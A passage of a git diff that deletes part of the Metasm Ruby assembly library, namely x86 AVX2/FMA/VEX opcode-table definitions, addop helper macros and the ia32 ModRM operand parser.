$_(xbegin) + off - addop 'xend', [0x0F, 0x01, 0xD5] - addop 'xtest', [0x0F, 0x01, 0xD6] - - # SMAP - addop 'clac', [0x0F, 0x01, 0xCA] - addop 'stac', [0x0F, 0x01, 0xCB] - end - - def init_avx2_only - init_cpu_constants - - add256 = {} - %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw - pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw - pminub pand paddusb paddusw pmaxub pandn pavgb pavgw - pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw - pmaxsw pxor pmuludq pmaddwd psadbw - psubb psubw psubd psubq paddb paddw paddd - phaddw phaddsw phaddd phsubw phsubsw phsubd - pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd - mpsadbw packusdw pblendw pcmpeqq - pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw - pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq - punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq - ].each { |n| add256[n] = true } - - varg = Hash.new(1) - %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa - pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq - pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq - maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil } - - cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, - :regxmm => :regymm, :modrmxmm => :modrmymm } - - # autopromote old sseX opcodes - @opcode_list.each { |o| - next if o.bin[0] != 0x0F or not add256[o.name] - - mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) - pp = o.props[:needpfx] - pp = 0x66 if o.props[:xmmx] - fpxlen = (mm == 0x0F ? 1 : 2) - - addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - } - - # promote special cases - addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm - addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm - addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm - addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm - addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm - addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm - addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm - addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm - addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm - addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - - addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR - addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR - addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR - addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA - addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8 - addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8 - addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm - addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm - addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm - addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm - addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm - addop_vex 'vpbroadcastd', [nil, 256, 0x66, 0x0F38, 0], 0x58, :mrmymm - addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm - addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm - addop_vex 'vpermd', [1, 256, 0x66, 0x0F38, 0], 0x36, :mrmymm - addop_vex 'vpermpd', [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8 - addop_vex 'vpermps', [1, 256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8 - addop_vex 'vpermq', [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8 - addop_vex 'vperm2i128', [1, 256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8 - addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8 - addop_vex 'vinserti128', [1, 256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8 - addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA - addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA - addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA - addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA - addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm - addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm - addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm - addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm - addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm - addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm - addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm - addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm - addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm - addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm - - addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - end - - def init_fma_only - init_cpu_constants - - [['vfmaddsub', 'p', 0x86], - ['vfmsubadd', 'p', 0x87], - ['vfmadd', 'p', 0x88], - ['vfmadd', 's', 0x89], - ['vfmsub', 'p', 0x8A], - ['vfmsub', 's', 0x8B], - ['vfnmadd', 'p', 0x8C], - ['vfnmadd', 's', 0x8D], - ['vfnmsub', 'p', 0x8E], - ['vfnmsub', 's', 0x8F]].each { |n1, n2, bin| - addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm - addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm - addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm - addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm - addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm - addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm - addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm - addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm - addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm - addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm - addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm - addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm - - # pseudo-opcodes aliases (swap arg0/arg1) - addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - } - end - - # - # CPU family dependencies - # - - def init_386_common - init_386_common_only - end - - def init_386 - init_386_common - init_386_only - end - - def init_387 - init_387_only - end - - def init_486 - init_386 - init_387 - init_486_only - end - - def init_pentium - init_486 - init_pentium_only - end - - def init_3dnow - init_pentium - init_3dnow_only - end - - def init_p6 - init_pentium - init_p6_only - end - - def init_sse - init_p6 - init_sse_only - end - - def init_sse2 - init_sse - init_sse2_only - end - - def init_sse3 - init_sse2 - init_sse3_only - end - - def init_ssse3 - init_sse3 - init_ssse3_only - end - - def init_sse41 - init_ssse3 - init_sse41_only - end - - def init_sse42 - init_sse41 - init_sse42_only - end - - def init_avx - init_sse42 - init_avx_only - end - - def init_avx2 - init_avx - init_fma_only - init_avx2_only - end - - def init_all - init_avx2 - init_3dnow_only - init_vmx_only - init_aesni_only - end - - alias init_latest init_all - - - # - # addop_* macros - # - - def addop_macro1(name, num, *props) - addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props - addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! } - addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props - end - def addop_macro2(name, num) - addop name, [0x0F, 0xBA], (4 | num), :u8 - addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } - end - def addop_macro3(name, num) - addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 - addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl - addop name, [0xC0], num, {:w => [0, 0]}, :u8 - end - - def addop_macrotttn(name, bin, hint, *props, &blk) - [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, - %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, - %w{s}, %w{ns}, %w{p pe}, %w{np po}, - %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| - b = bin.dup - if b[0] == 0x0F - b[1] |= i - else - b[0] |= i - end - - e.each { |k| addop(name + k, b.dup, hint, *props, &blk) } - } - end - - def addop_macrostr(name, bin, type) - # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override - addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - bin = bin.dup - bin[0] |= 1 - addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - end - - def addop_macrofpu1(name, n) - addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! } - end - def addop_macrofpu2(name, n, n2=0) - addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 } - addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - end - def addop_macrofpu3(name, n) - addop_macrofpu2 name, n, 1 - addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - end - - def addop_macrogg(ggrng, name, bin, *args, &blk) - ggoff = 1 - ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A - ggrng.each { |gg| - bindup = bin.dup - bindup[ggoff] |= gg - sfx = %w(b w d q)[gg] - addop name+sfx, bindup, *args, &blk - } - end - - def addop_macrossps(name, bin, hint, *a) - addop name, bin.dup, hint, *a - addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 } - end - - def addop_macrosdpd(name, bin, hint, *a) - addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 } - addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 } - end - - # special ret (iret/retf), that still default to 32b mode in x64 - def addop_macroret(name, bin, *args) - addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 } - addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret' - addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size } - end - - # add an AVX instruction needing a VEX prefix (c4h/c5h) - # the prefix is hardcoded - def addop_vex(name, vexspec, bin, *args) - argnr = vexspec.shift - argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol) - l = vexspec.shift - pfx = vexspec.shift - of = vexspec.shift - w = vexspec.shift - argt ||= (l == 128 ? :vexvxmm : :vexvymm) - - lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx) - mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of) - - c4bin = [0xC4, mmmmm, lpp, bin] - c4bin[1] |= 1 << 7 if @size != 64 - c4bin[1] |= 1 << 6 if @size != 64 - c4bin[2] |= 1 << 7 if w == 1 - c4bin[2] |= 0xF << 3 if not argnr - - addop(name, c4bin, *args) { |o| - o.args.insert(argnr, argt) if argnr - - o.fields[:vex_r] = [1, 7] if @size == 64 - o.fields[:vex_x] = [1, 6] if @size == 64 - o.fields[:vex_b] = [1, 5] - o.fields[:vex_w] = [2, 7] if not w - o.fields[:vex_vvvv] = [2, 3] if argnr - - yield o if block_given? - } - - return if w == 1 or mmmmm != 1 - - c5bin = [0xC5, lpp, bin] - c5bin[1] |= 1 << 7 if @size != 64 - c5bin[1] |= 0xF << 3 if not argnr - - addop(name, c5bin, *args) { |o| - o.args.insert(argnr, argt) if argnr - - o.fields[:vex_r] = [1, 7] if @size == 64 - o.fields[:vex_vvvv] = [1, 3] if argnr - - yield o if block_given? - } - end - - # helper function: creates a new Opcode based on the arguments, eventually - # yields it for further customisation, and append it to the instruction set - # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) - def addop(name, bin, hint=nil, *argprops) - fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {}) - op = Opcode.new name, bin - op.fields.replace fields - - case hint - when nil - - when :mrm, :mrmw, :mrmA - op.fields[:reg] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw - argprops.unshift :reg, :modrm - argprops << :modrmA if hint == :mrmA - op.bin << 0 - when :reg - op.fields[:reg] = [bin.length-1, 0] - argprops.unshift :reg - when :regfp - op.fields[:regfp] = [bin.length-1, 0] - argprops.unshift :regfp, :regfp0 - when :modrmA - op.fields[:modrm] = [bin.length-1, 0] - argprops << :modrm << :modrmA - - when Integer # mod/m, reg == opcode extension = hint - op.fields[:modrm] = [bin.length, 0] - op.bin << (hint << 3) - argprops.unshift :modrm - - when :mrmmmx - op.fields[:regmmx] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regmmx, :modrmmmx - when :mrmxmm - op.fields[:regxmm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regxmm, :modrmxmm - when :mrmymm - op.fields[:regymm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regymm, :modrmymm - else - raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" - end - - argprops.each { |a| - op.props[a] = true if @valid_props[a] - op.args << a if @valid_args[a] - } - - yield op if block_given? - - if $DEBUG - argprops -= @valid_props.keys + @valid_args.keys - raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? - - argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys) - raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? - end - - addop_post(op) - end - - # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) - def addop_post(op) - if df = op.fields.delete(:d) - # hardcode the bit - dop = op.dup - addop_post dop - - op.bin[df[0]] |= 1 << df[1] - op.args.reverse! - addop_post op - - return - elsif wf = op.fields.delete(:w) - # hardcode the bit - dop = op.dup - dop.props[:argsz] = 8 - # 64-bit w=0 s=1 => UD - dop.fields.delete(:s) if @size == 64 - addop_post dop - - op.bin[wf[0]] |= 1 << wf[1] - addop_post op - - return - elsif sf = op.fields.delete(:s) - # add explicit choice versions, with lower precedence (so that disassembling will return the general version) - # eg "jmp", "jmp.i8", "jmp.i" - # also hardcode the bit - op32 = op - addop_post op32 - - op8 = op.dup - op8.bin[sf[0]] |= 1 << sf[1] - op8.args.map! { |arg| arg == :i ? :i8 : arg } - addop_post op8 - - op32 = op32.dup - op32.name << '.i' - addop_post op32 - - op8 = op8.dup - op8.name << '.i8' - addop_post op8 - - return - elsif op.args.first == :regfp0 - dop = op.dup - dop.args.delete :regfp0 - addop_post dop - end - - if op.props[:needpfx] - @opcode_list.unshift op - else - @opcode_list << op - end - - if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/ - # define opsz-override version for ambiguous opcodes - op16 = op.dup - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - op32 = op.dup - op32.name << '.i32' - op32.props[:opsz] = 32 - @opcode_list << op32 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) - # XXX loop pfx 67 = eip+cx, 66 = ip+ecx - op16 = op.dup - op16.name << '.a16' - op16.props[:adsz] = 16 - @opcode_list << op16 - op32 = op.dup - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb deleted file mode 100644 index 1d32f5db9e..0000000000 --- a/lib/metasm/metasm/cpu/ia32/parse.rb +++ /dev/null @@ -1,359 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/cpu/ia32/encode' -require 'metasm/parse' - -module Metasm -class Ia32 -class ModRM - # may return a SegReg - # must be called before SegReg parser (which could match only the seg part of a modrm) - def self.parse(lexer, otok, cpu) - tok = otok - - # read operand size specifier - if tok and tok.type == :string and tok.raw =~ /^(?:byte|[dqo]?word|_(\d+)bits)$/ - ptsz = - if $1 - $1.to_i - else - case tok.raw - when 'byte'; 8 - when 'word'; 16 - when 'dword'; 32 - when 'qword'; 64 - when 'oword'; 128 - else raise otok, 'mrm: bad ptr size' - end - end - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and tok.raw == 'ptr' - lexer.skip_space - tok = lexer.readtok - end - end - - # read segment selector - if tok and tok.type == :string and seg = SegReg.s_to_i[tok.raw] - lexer.skip_space - seg = SegReg.new(seg) - if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - raise otok, 'invalid modrm' if ptsz - lexer.unreadtok ntok - return seg - end - lexer.skip_space - tok = lexer.readtok - end - - # ensure we have a modrm - if not tok or tok.type != :punct or tok.raw != '[' - raise otok, 'invalid modrm' if ptsz or seg - return - end - lexer.skip_space_eol - - # support fasm syntax [fs:eax] for segment selector - if tok = lexer.readtok and tok.type == :string and not seg and seg = SegReg.s_to_i[tok.raw] - raise otok, 'invalid modrm' if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - seg = SegReg.new(seg) - lexer.skip_space_eol - else - lexer.unreadtok tok - end - - # read modrm content as generic expression - content = Expression.parse(lexer) - lexer.skip_space_eol - raise(otok, 'bad modrm') if not content or not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ']' - - # converts matching externals to Regs in an expression - regify = lambda { |o| - case o - when Expression - o.lexpr = regify[o.lexpr] - o.rexpr = regify[o.rexpr] - o - when String - cpu.str_to_reg(o) || o - else o - end - } - - s = i = b = imm = nil - - # assigns the Regs in the expression to base or index field of the modrm - walker = lambda { |o| - case o - when nil - when Reg - if b - raise otok, 'mrm: too many regs' if i - i = o - s = 1 - else - b = o - end - when SimdReg - raise otok, 'mrm: too many regs' if i - i = o - s = 1 - when Expression - if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg)) - # scaled index - raise otok, 'mrm: too many indexes' if i - s = o.lexpr - i = o.rexpr - s, i = i, s if s.kind_of? Reg - raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s) - elsif o.op == :+ - # recurse - walker[o.lexpr] - walker[o.rexpr] - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - } - - # do it - walker[regify[content.reduce]] - - # ensure found immediate is really an immediate - raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty? - - raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz - - # find default address size - adsz = b ? b.sz : i ? i.sz : nil - # ptsz may be nil now, will be fixed up later (in parse_instr_fixup) to match another instruction argument's size - new adsz, ptsz, s, i, b, imm, seg - end -end - - - # handles cpu-specific parser instruction, falls back to Ancestor's version if unknown keyword - # XXX changing the cpu size in the middle of the code may have baaad effects... - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and (tok.raw == '16' or tok.raw == '32') - @size = tok.raw.to_i - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - # implicit 'true' return value when assignment occur - i.prefix ||= {} - case pfx - when 'lock'; i.prefix[:lock] = true - when 'rep'; i.prefix[:rep] = 'rep' - when 'repe', 'repz'; i.prefix[:rep] = 'repz' - when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' - when 'code16'; i.prefix[:sz] = 16 - when 'code32'; i.prefix[:sz] = 32 - when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp' - when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp' - when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1]) - end - end - - def 